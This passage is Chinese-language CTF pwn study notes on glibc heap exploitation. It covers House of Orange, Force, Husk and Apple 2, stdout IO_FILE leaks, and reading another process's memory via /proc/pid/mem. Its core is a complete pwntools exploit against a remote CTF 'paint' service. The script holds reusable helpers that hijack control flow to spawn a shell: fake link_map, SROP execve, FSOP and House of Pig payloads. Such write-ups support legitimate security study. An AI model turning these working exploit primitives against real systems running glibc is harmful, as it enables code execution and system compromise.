  • 任务状态段(TSS)描述符

  • 调用门描述符

  • 中断门描述符

  • 陷阱门描述

  • 任务门描述符

这些描述符又可以分为两类:系统段描述符和门描述符。系统段描述符指向系统段(LDT
和TSS段)。门描述符它们自身就是“门“,它们或者持有指向在代码段的过程的入口点

的指针,或者持有TSS(任务门)的段选择符。

Untitled

ASLR是一种随机化保护的方法,linux自带,它使得栈、库、堆等地址随机化,对攻击达到一个干扰的效果

而在pwn题里面,针对ld的攻击,在ubuntu22.04下不知道为何ld的基址和libc的基址距离一直变化(一般是不变化的,使得我对ld的攻击调试极其不方便

可以通过linux一条命令 临时关闭aslr,进行调试,不过要注意远程的这个距离和本地的距离一般是不一样的(相差会在第1.5个字节到第2.5个字节之间

比如0x7ffff7fc3000,所以一般打远程需要爆破两个字节,后面会给出爆破的脚本

关闭aslr:

sudo sysctl -w kernel.randomize_va_space=0

House_of_orange

攻击条件

能够修改到top_chunk的size值

可以得到一个unsortedbin

glibc ≤ 2.23

攻击原理

当malloc的值≥0x20000的时候会调用mmap来分配,而低于则会切割top_chunk来分配

当top_chunk不够分配的时候,会把当前top_chunk释放,然后再重新申请一个大的top_chunk

攻击方式

看top_chunk的size值,比如0x20791这样子

改为0x791,再申请一个大的即可无中生有一个unsorted bin出来

随后如果能够修改到unsortedbin的bk位,即可实现unsorted bin attack

一般后续攻击是挟持IO_list_all指针

unsorted bin attack实现的是将main_arena+0x88写到IO_list_all处

Untitled

此时要控制好main_arena+0x88处的IO_FILE的_chain即可(

这种攻击是通过abort流攻击的(因为unsorted bin结构被破坏

当再次申请内存的时候

调用流为malloc→malloc→printerr→__libc_message→abort()→_IO_flush_all_lockp()→_IO_overflow

但是2.27以及以后的版本取消了abort刷新流的操作,这个攻击方式就失效了(

不过释放到unsorted bin这一步之前还是可以的

House of force

攻击条件

能够修改到topchunk的size值

glibc ≤ 2.29

攻击原理

修改top_chunk的size为-1,能过过掉校验

然后可以通过申请内存,将top_chunk推至指定内存空间,然后malloc即可申请到那部分内存

由于2.29及其以前使用,常用在2.27+的时候,可以小范围将top_chunk推至tcache struct结构体里,修改entry_point实现tcache posioning attack

因为是相对位移,所以不需要leak出堆地址。

攻击方法

比如当前top_chunk_addr = 0x501000

malloc(-0x1000)即可将top_chunk_addr推至0x500000附近

攻击方式

house_of_husk是针对带格式化字符输出printf函数的一种攻击

可以实现控制rip

适用版本2.23-至今

攻击方法

printf会输出前检查是否有自定义格式化字符

方法是通过两个表:

  • __printf_function_table

  • __printf_arginfo_table

  1. 先将__printf_function_table的值置为非空

Untitled

  1. 然后将__printf_arginfo_table挟持到我们可控的地址

Untitled

往可控的地方写值,这个有讲究(

最终会调用到__printf_arginfo_table[index]

这个index和格式化字符的有关:

比如%d → ord(’d’) → 100

%s → ord(’s’) → 115

所以挟持__printf_arginfo_table的时候,比如格式化字符是%d

那我们就弄成=

1
__printf_arginfo_table = control_addr - ord('d')*8

然后往control_addr里面写入RIP即可

Untitled

其控制流为:

printf→vfprintf→printf_positional→__parse_one_specmb→RIP

攻击原理

printf会检查是否有自定义格式化字符(检查的就是__printf_function_table是否为空,如果不为空,则代表有自定义格式化字符,然后就会放弃默认输出方式,而去找__printf_arginfo_table里面的调用函数

将此两表挟持,即可成功控制RIP

思路

观察add函数可知,idx随便溢,bss段附近有stdout@GLIBC_2_2_5和stdin@GLIBC_2_2_5

可以将libc基址leak出来

多次leak出来之后可以发现远程版本是2.35(和ubuntu22.04默认链接下是一样的libc

接着是需要leak出堆地址

tcache在高版本会有个key,跟在fd后面,只要利用rate函数里的comment,多弄几个大小为0x30的堆,造成堆块管理混乱,就可以leak出key的值,没有指向的时候key的值为L >> 12

其中L是tcachebin的addr,然后再<<12即可得到堆的初始地址

leak完libc和heap之后,得想办法挟持_IO_list_all或_chain

bss段里面有个magic_value

→__dso_handle

这个东西会指向自己,然后利用rate即可在bss区写入一个完全可控的堆地址,之后往堆地址对应的地方填入_IO_list_all,然后draw即可

高版本打house_of_apple two即可(堆块完全可控 😵

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
from pwn import *
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "paint-71ae86dc10a3fe17.brics-ctf.ru"
remote_port = "13003"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename, stdin=PTY)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0)*4 + p64(heap_base + 0x100) + p64(0) + p64(0) + p64(0) * (28-7)
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*14
return (fake_IO_FILE, pad, payload)

prefix = "6. Delete canvas"

def show(index):
sla(prefix, b'4')
sla("Enter idx: ", str(index))

def add(index, width, height):
sla(prefix, b'1')
sla("Enter idx: ", str(index))
sla("Enter canvas width (1-255): ", str(width))
sla("Enter canvas height (1-255): ", str(height))

def delete(index):
sla(prefix, b'6')
sla("Enter idx: ", str(index))

def edit(index, payload):
sla(prefix, b'3')
sla("Enter idx: ", str(index))
sa("Enter your picture (`width` chars in `height` lines): ", payload)

def rate(index, rate, comment, payload):
sla(prefix, b'5')
sla("Enter idx: ", str(index))
sla("Enter rate: ", str(rate))
sla("Leave comment (y/n): ", comment)
sa("Enter your comment: ", payload)

def resize(index, width, height):
sla(prefix, b'2')
sla("Enter idx: ", str(index))
sla("Enter new width (1-255): ", str(width))
sla("Enter new height (1-255): ", str(height))

def exit():
sla(prefix, b'666')

"""leak libc"""
show(-2)

leak_dat = leak()
log(hex(leak_dat))

libc_base = leak_dat - (0x7f510501ba80 - 0x7f5104e00000)
log(hex(libc_base))

"""leak heap"""
add(0, 0x10, 2)
rate(0, 1, 'y', b'a'*0x20)
rate(0, 1, 'y', b'b'*0x30)
delete(0)
add(0, 0x10, 2)
show(0)

ru("Picture: \n")
heap_base = u64(r(5).ljust(8, b'\x00')) # L >> 12 补回去刚好是heap_base
heap_base = heap_base << 12
log(hex(heap_base << 12))

"""house of apple 2"""
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
wide_data_entry = heap_base + 0x500
wide_data_vtable_entry = heap_base + 0x640

payloads = house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, libc_base + libc.sym['system'])

"""wide_data / vtable"""
rate(-8, 1, 'y', p64(0xffffffffffff01ff) + p64(libc_base + libc.sym['_IO_list_all']))
edit(-5, p64(heap_base + 0x3c0)) # _IO_list_all

add(3, 0xff, 1)
edit(3, payloads[0])

add(4, 0xff, 1)
edit(4, payloads[1])

add(5, 0xff, 1)
edit(5, payloads[2])
# bpp()

exit()

"""past"""

ia()

这是一种比较好玩的题

漏洞在这里 init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo 0 | tee /proc/sys/kernel/yama/ptrace_scope
chown 0:0 flag
chmod 755 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
./target >pso.file 2>&1 &
setsid /bin/cttyhack setuidgid 0 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。

其中这一句echo 0 | tee /proc/sys/kernel/yama/ptrace_scope

关闭了ptrace的保护,原本默认为1,使得ptrace只能追踪父进程

但是设为0即可追踪所有进程

所以可以

1
2
3
4
ps -ef ->找到./target进程的pid (IDA分析./target发现flag已经读到栈里,并且之后while 1死循环
cat /proc/$(pidof target)/maps找到栈起始末尾地址
dd指令可以分析内存
dd if=/proc/$(pidof target)/mem skip=栈起始地址 bs=1(每次1bytes) count=135168(总共) |grep ...

一步到位:

1
2
stack=$(printf %d "0x$(grep stack /proc/$(pidof target)/maps | sed -n 's/^\([0-9a-f]*\)-.*$/\1/p')")
dd if=/proc/$(pidof target)/mem skip=$stack bs=1 count=135168|grep cyber

Untitled

IO_FILE_leak是一种利用IO_FILE来达到leak效果的手法

利用方式:

针对_IO_2_1_stdout_结构体

_flags改为0xfbad1800

_IO_read_ptr = 0

_IO_read_end = 0

_IO_read_base = 0

_IO_write_base末字节改为0x58

1
payload = p64(0xfbad1800)+p64(0)*3+b"\x58"

当程序调用_IO_2_1_stdout的时候就会输出_IO_write_base到_IO_write_ptr之间的内容


另外一种利用手法

如用下面payload,则会泄露_IO_2_1_stdin_(对于puts函数→不同函数输出不同)

1
payload = p64(0xfbad3887)+p64(0)*3+p8(0)

原理

对于输出函数来说,比如puts

其调用流为

_IO_puts→_IO_sputn→_IO_XSPUTN(vtable)→_IO_OVERFLOW(当缓冲区还有东西的时候)→_IO_do_write→_IO_new_do_write

而当_IO_write_end > _IO_write_ptr时,会调用memcpy拷贝数据到缓冲区,之后判断是否有剩余,也就是拷贝了就会调用_IO_overflow

缓冲区机制:输出数据会先放到缓冲区,然后缓冲区再发送给用户,比如往缓冲区推了0x50个数据,但是只write了0x40个数据,这个时候缓冲区就会有剩余,在下一次输出的时候,将会输出完剩余的内容,而不是这次要输出的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
............

我们的目标是调用到_IO_do_write将数据打印出来

需要绕过的检查:

1
2
3
4
f->_flags & _IO_NO_WRITES == False
((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) == False

满足上述条件 _flags & 8 == 0 , _flags & 0x800 == 1,且 _flags 魔数的常量为 0xfbad0000。 那么此时 _flags == 0xfbad0800

一些宏定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

接着进入_IO_new_do_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

目标是调用到_IO_SYSWRITE

校验:

1
2
fp->_flags & _IO_IS_APPENDING == FALSE
fp->_IO_read_end != fp->_IO_write_base == FALSE

所以_flags位设为0xfbad1800即可